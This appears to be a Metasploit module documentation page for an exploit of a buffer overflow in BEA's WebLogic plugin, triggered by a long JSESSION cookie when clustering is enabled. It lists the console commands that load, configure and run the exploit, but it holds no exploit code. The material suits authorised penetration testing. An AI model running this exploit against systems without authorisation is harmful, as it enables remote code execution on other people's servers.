Description

This module exploits a buffer overflow in BEA's WebLogic plugin. The vulnerable code is only accessible when clustering is configured. A request containing a long JSESSION cookie value can lead to arbitrary code execution.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/http/bea_weblogic_jsessionid
msf exploit(bea_weblogic_jsessionid) > show targets
    ...targets...
msf exploit(bea_weblogic_jsessionid) > set TARGET < target-id >
msf exploit(bea_weblogic_jsessionid) > show options
    ...show and set options...
msf exploit(bea_weblogic_jsessionid) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
